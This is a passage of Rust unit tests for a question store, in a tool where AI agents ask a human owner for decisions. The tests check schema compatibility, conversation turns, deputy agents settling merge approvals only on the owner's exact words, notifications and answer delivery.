2680        assert_eq!(q.assets, ["new.png"]);
2681        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2682        assert!(
2683            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2684            "an asset from the first attempt would show a mix of two answers"
2685        );
2686
2687        s.drop_panel(&q.id).unwrap();
2688        assert!(s.panel_html(&q.id).is_none());
2689        assert!(!s.panel_dir(&q.id).exists());
2690        s.drop_panel(&q.id)
2691            .expect("dropping a panel that is already gone is the desired state");
2692    }
2693
2694    #[test]
2695    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2696        let (_dir, s) = store();
2697        let mut q = panelled();
2698        s.put(&mut q).unwrap();
2699
2700        assert!(!q.panel);
2701        assert!(s.panel_html(&q.id).is_none());
2702        assert!(
2703            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2704            "a missing file is a 404 for the caller, not a failure of the store"
2705        );
2706        let json = serde_json::to_value(&q).unwrap();
2707        assert_eq!(json["panel"], false);
2708        assert_eq!(json["assets"], serde_json::json!([]));
2709
2710        // And an empty panel is refused, because an empty frame reads to the
2711        // owner as "the agent had nothing to say".
2712        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
2713        assert!(e.contains("empty panel"), "{e}");
2714        assert!(!s.panel_dir(&q.id).exists());
2715    }
2716
2717    #[test]
2718    fn a_question_written_before_panels_existed_still_deserialises() {
2719        let (_dir, s) = store();
2720        std::fs::create_dir_all(s.root()).unwrap();
2721        let id = "20260902-231501-ab12";
2722        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2723        let body = r#"{
2724  "schema": 1,
2725  "id": "20260902-231501-ab12",
2726  "run": "20260902-201256-9fb7",
2727  "node": "implement",
2728  "seat": "impl-A",
2729  "summary": "Which storage backend should the cache use?",
2730  "detail": "Both are already dependencies.",
2731  "choices": ["SQLite", "Redis"],
2732  "status": "open",
2733  "asked_at": "2026-09-02T23:15:01Z",
2734  "answered_at": null,
2735  "answer": null
2736}"#;
2737        std::fs::write(s.path_of(id), body).unwrap();
2738
2739        let q = s.get(id).unwrap();
2740        assert!(
2741            !q.panel,
2742            "an absent field means no panel, not a parse error"
2743        );
2744        assert!(q.assets.is_empty());
2745        // Schema 1 predates `thread` entirely - not merely predates it having
2746        // any turns - and this build now speaks schema 3. Reading it must not
2747        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2748        // accepted and the missing field defaults to no conversation yet.
2749        assert_eq!(q.schema, 1);
2750        assert!(q.thread.is_empty());
2751        assert_eq!(
2752            q.answer_timeout, 0,
2753            "an absent field means unrecorded, not a zero-second deadline"
2754        );
2755        assert!(!q.waiting_on_agent());
2756        assert_eq!(q.summary, "Which storage backend should the cache use?");
2757        assert_eq!(
2758            s.list().len(),
2759            1,
2760            "and it is still listed; skipping it would hide an open question"
2761        );
2762    }
2763
2764    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2765        Turn {
2766            who,
2767            body: body.to_owned(),
2768            at,
2769        }
2770    }
2771
2772    #[test]
2773    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2774        // The phone reads this shape by hand, same as the question itself: a
2775        // rename here is a card that silently drops every message in it.
2776        let mut q = choice_question();
2777        q.thread
2778            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2779        let value = serde_json::to_value(&q.thread[0]).unwrap();
2780        let mut keys: Vec<&str> = value
2781            .as_object()
2782            .unwrap()
2783            .keys()
2784            .map(String::as_str)
2785            .collect();
2786        keys.sort_unstable();
2787        assert_eq!(keys, ["at", "body", "who"]);
2788        assert_eq!(value["who"], "operator");
2789        assert_eq!(value["body"], "why not Postgres?");
2790
2791        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2792        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2793        assert_eq!(parsed.who, Who::Agent);
2794    }
2795
2796    #[test]
2797    fn a_merge_approval_settles_only_on_the_owners_exact_word() {
2798        let mut q = Question::new(
2799            "run".into(),
2800            crate::land::APPROVAL_NODE.into(),
2801            "land".into(),
2802            "Merge?".into(),
2803            String::new(),
2804            vec!["merge".into(), "hold".into()],
2805        );
2806        let mut dep = Deputy::new("brief".into());
2807        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2808        q.deputy = Some(dep);
2809        q.say("please don't merge yet").unwrap();
2810        assert!(q.settle_by_deputy("deputy-x", "merge", "merge").is_err());
2811        assert!(
2812            q.settle_by_deputy("deputy-x", "merge", "don't merge")
2813                .is_err()
2814        );
2815        assert!(
2816            q.settle_by_deputy("deputy-x", "hold", "don't merge")
2817                .is_err()
2818        );
2819        assert_eq!(q.status, QuestionStatus::Open);
2820        q.reply("do you mean hold?", vec!["merge".into(), "hold".into()])
2821            .unwrap();
2822        q.say(" Merge ").unwrap();
2823        assert!(
2824            q.settle_by_deputy("deputy-x", "merge", "erge").is_err(),
2825            "a fragment is not the word"
2826        );
2827        q.settle_by_deputy("deputy-x", "merge", "Merge").unwrap();
2828        assert_eq!(q.resolution().as_deref(), Some("merge"));
2829    }
2830
2831    #[test]
2832    fn a_later_owner_message_supersedes_an_earlier_merge() {
2833        let mut q = Question::new(
2834            "run".into(),
2835            crate::land::APPROVAL_NODE.into(),
2836            "land".into(),
2837            "Merge?".into(),
2838            String::new(),
2839            vec!["merge".into(), "hold".into()],
2840        );
2841        let mut dep = Deputy::new("brief".into());
2842        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2843        q.deputy = Some(dep);
2844        q.say("merge").unwrap();
2845        q.reply("sure?", vec!["merge".into(), "hold".into()])
2846            .unwrap();
2847        q.say("wait, don't merge").unwrap();
2848        assert!(q.settle_by_deputy("deputy-x", "merge", "merge").is_err());
2849        assert_eq!(q.status, QuestionStatus::Open);
2850    }
2851
2852    #[test]
2853    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
2854        let mut q = Question::new(
2855            "task".to_owned(),
2856            "conduct".to_owned(),
2857            "conduct".to_owned(),
2858            "Done?".to_owned(),
2859            String::new(),
2860            vec!["yes".to_owned(), "no".to_owned()],
2861        );
2862        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
2863        seat.turns = 1;
2864        let mut dep = Deputy::new("brief".to_owned());
2865        dep.seat = Some(seat);
2866        q.deputy = Some(dep);
2867        q.say("setup done, go ahead").unwrap();
2868
2869        assert!(
2870            q.settle_by_deputy("someone-else", "yes", "setup done")
2871                .is_err()
2872        );
2873        assert!(
2874            q.settle_by_deputy("deputy-x", "maybe", "setup done")
2875                .is_err()
2876        );
2877        assert!(
2878            q.settle_by_deputy("deputy-x", "yes", "never said this")
2879                .is_err()
2880        );
2881        assert!(q.settle_by_deputy("deputy-x", "yes", "  ").is_err());
2882        assert_eq!(q.status, QuestionStatus::Open);
2883
2884        q.settle_by_deputy("deputy-x", "yes", "setup done").unwrap();
2885        assert_eq!(q.status, QuestionStatus::Answered);
2886        assert_eq!(q.resolution().as_deref(), Some("yes"));
2887        let last = q.thread.last().unwrap();
2888        assert_eq!(last.who, Who::Agent);
2889        assert!(
2890            last.body.contains("setup done"),
2891            "the quote stays on the record"
2892        );
2893    }
2894
2895    #[test]
2896    fn a_question_written_before_deputies_still_reads() {
2897        let mut q = Question::new(
2898            "task".to_owned(),
2899            "conduct".to_owned(),
2900            "conduct".to_owned(),
2901            "Done?".to_owned(),
2902            String::new(),
2903            Vec::new(),
2904        );
2905        q.schema = 4;
2906        let mut v = serde_json::to_value(&q).unwrap();
2907        v.as_object_mut().unwrap().remove("deputy");
2908        let back: Question = serde_json::from_value(v).unwrap();
2909        assert!(back.deputy.is_none());
2910    }
2911
2912    #[test]
2913    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
2914        let mut q = choice_question();
2915        q.say("does the cache need eviction?").unwrap();
2916        assert_eq!(q.thread.len(), 1);
2917        assert_eq!(q.thread[0].who, Who::Operator);
2918        assert_eq!(q.thread[0].body, "does the cache need eviction?");
2919        // Speaking is not deciding: the status and the answer are untouched,
2920        // which is the whole point of the round trip existing at all.
2921        assert_eq!(q.status, QuestionStatus::Open);
2922        assert!(q.answer.is_none());
2923        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
2924    }
2925
2926    #[test]
2927    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
2928        let mut answered = choice_question();
2929        answered
2930            .answer(Answer::Choice("SQLite".to_owned()))
2931            .unwrap();
2932        let a = answered.say("still there?").unwrap_err().to_string();
2933        assert!(a.contains("already answered"), "{a}");
2934        let b = answered
2935            .reply("still there?", vec![])
2936            .unwrap_err()
2937            .to_string();
2938        assert!(b.contains("already answered"), "{b}");
2939
2940        let mut abandoned = choice_question();
2941        abandoned.abandon("timed out");
2942        let c = abandoned.say("hello?").unwrap_err().to_string();
2943        assert!(c.contains("abandoned"), "{c}");
2944
2945        let mut open = choice_question();
2946        let d = open.say("   ").unwrap_err().to_string();
2947        assert!(d.contains("empty"), "{d}");
2948        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
2949        assert!(e.contains("empty"), "{e}");
2950        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
2951    }
2952
2953    #[test]
2954    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
2955        let mut q = choice_question();
2956        q.say("SQLite or Redis, but what about disk space?")
2957            .unwrap();
2958        assert!(q.waiting_on_agent());
2959
2960        q.reply(
2961            "SQLite: it is one file, no server to run.",
2962            vec!["SQLite".to_owned()],
2963        )
2964        .unwrap();
2965
2966        assert_eq!(q.choices, ["SQLite"]);
2967        assert!(
2968            !q.waiting_on_agent(),
2969            "the agent spoke, so the owner is the one being waited on now"
2970        );
2971        assert_eq!(q.thread.len(), 2);
2972        assert_eq!(q.thread[1].who, Who::Agent);
2973
2974        // The new choice set is what a subsequent answer is checked against.
2975        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
2976        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2977        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
2978    }
2979
2980    #[test]
2981    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
2982        let mut fresh = choice_question();
2983        assert!(
2984            fresh.should_notify(Timestamp::now()),
2985            "nobody has been notified yet, so the first ask always pages"
2986        );
2987
2988        fresh.say("why not Postgres?").unwrap();
2989        let just_said = fresh.thread[0].at;
2990        assert!(
2991            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
2992            "still on the screen a minute later; no need to page again"
2993        );
2994        assert!(
2995            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
2996            "exactly the window: `>` means this side stays quiet"
2997        );
2998        assert!(
2999            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3000            "past the window: they may have walked away"
3001        );
3002    }
3003
3004    #[test]
3005    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3006        let (_dir, s) = store();
3007        let mut q = choice_question();
3008        s.put(&mut q).unwrap();
3009        q.say("why not Postgres?").unwrap();
3010        s.put(&mut q).unwrap();
3011        q.reply("no server to run", vec!["SQLite".to_owned()])
3012            .unwrap();
3013        s.put(&mut q).unwrap();
3014
3015        assert_eq!(
3016            s.count_open(),
3017            1,
3018            "one question that talked twice is still one open question"
3019        );
3020        assert_eq!(s.open_for(&q.run).len(), 1);
3021    }
3022
3023    #[tokio::test]
3024    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3025        let (dir, s) = store();
3026        let mut q = choice_question();
3027        let id = q.id.clone();
3028        let writer = Questions::at(dir.path().join("questions"));
3029        let handle = tokio::spawn(async move {
3030            tokio::time::sleep(Duration::from_millis(30)).await;
3031            let mut fresh = writer.get(&id).expect("the question was filed first");
3032            fresh.say("why not Postgres?").unwrap();
3033            writer.put(&mut fresh).unwrap();
3034        });
3035
3036        let got = wait_for_owner(
3037            &mut q,
3038            &s,
3039            &quiet(),
3040            Duration::from_secs(5),
3041            Duration::from_millis(10),
3042        )
3043        .await
3044        .unwrap();
3045
3046        handle.await.unwrap();
3047        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3048        assert_eq!(
3049            q.status,
3050            QuestionStatus::Open,
3051            "talking back is not a decision; the question stays open"
3052        );
3053        assert!(q.answer.is_none());
3054    }
3055
3056    #[test]
3057    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3058        let mut q = choice_question();
3059        q.say("A").unwrap();
3060        q.delivered_turns = q.thread.len();
3061        q.say("B").unwrap();
3062        q.reply("about A", vec![]).unwrap();
3063        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3064        q.delivered_turns = q.thread.len();
3065        assert_eq!(q.unread_from_owner(), None);
3066    }
3067
3068    #[test]
3069    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3070        let (_d, s) = store();
3071        let mut q = choice_question();
3072        s.put(&mut q).unwrap();
3073        q.say("first").unwrap();
3074        q.say("second").unwrap();
3075        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3076        s.put(&mut q).unwrap();
3077        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3078        let mut out = Vec::new();
3079        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3080        let shown = String::from_utf8(out).unwrap();
3081        let (a, b, c) = (
3082            shown.find("first").unwrap(),
3083            shown.find("second").unwrap(),
3084            shown.find("SQLite").unwrap(),
3085        );
3086        assert!(a < b && b < c, "{shown}");
3087        assert_eq!(q.delivered_turns, q.thread.len());
3088        assert!(q.answer_delivered);
3089    }
3090
3091    #[test]
3092    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3093        let mut q = choice_question();
3094        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3095        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3096        let mut q = choice_question();
3097        q.say("old").unwrap();
3098        q.delivered_turns = q.thread.len();
3099        q.say("new").unwrap();
3100        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3101        let shown = answer_for_agent(&q, "SQLite");
3102        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3103    }
3104
3105    #[test]
3106    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3107        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3108        let ok = parse_actions(
3109            &[
3110                "resume で続行する=resume".to_owned(),
3111                "wait=done".to_owned(),
3112            ],
3113            &choices,
3114            "run-1",
3115        )
3116        .unwrap();
3117        assert_eq!(
3118            ok["resume で続行する"],
3119            ChoiceAction::Resume {
3120                run: "run-1".into()
3121            }
3122        );
3123        assert_eq!(ok["wait"], ChoiceAction::Done);
3124
3125        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3126        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3127        assert_eq!(
3128            ChoiceAction::parse("x=requeue", "").unwrap().1,
3129            ChoiceAction::Requeue
3130        );
3131
3132        for bad in [
3133            "no-equals",
3134            "=done",
3135            "x=resume",
3136            "x=resume:",
3137            "x=explode",
3138            "x=done:1",
3139        ] {
3140            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3141        }
3142        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3143        assert!(
3144            parse_actions(
3145                &["wait=done".to_owned(), "wait=requeue".to_owned()],
3146                &choices,
3147                ""
3148            )
3149            .is_err()
3150        );
3151    }
3152
3153    #[test]
3154    fn only_a_chosen_label_with_an_action_is_actionable() {
3155        let mut q = choice_question();
3156        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3157        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3158        assert!(q.chosen_action().is_none(), "unanswered");
3159        q.answer(Answer::Choice("resume".to_owned())).unwrap();
3160        assert!(
3161            q.chosen_action().is_none(),
3162            "a label that merely reads like an action does nothing"
3163        );
3164
3165        let mut q2 = choice_question();
3166        q2.choices = vec!["SQLite".to_owned()];
3167        q2.actions
3168            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3169        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3170        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3171    }
3172
3173    #[test]
3174    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3175        let mut q = choice_question();
3176        q.choices = vec!["A".to_owned(), "B".to_owned()];
3177        q.actions.insert("A".to_owned(), ChoiceAction::Done);
3178        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3179        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3180        assert_eq!(q.actions.len(), 1);
3181        assert!(q.actions.contains_key("B"));
3182
3183        let mut v = serde_json::to_value(&q).unwrap();
3184        v.as_object_mut().unwrap().remove("actions");
3185        let old: Question = serde_json::from_value(v).unwrap();
3186        assert!(old.actions.is_empty());
3187    }
3188}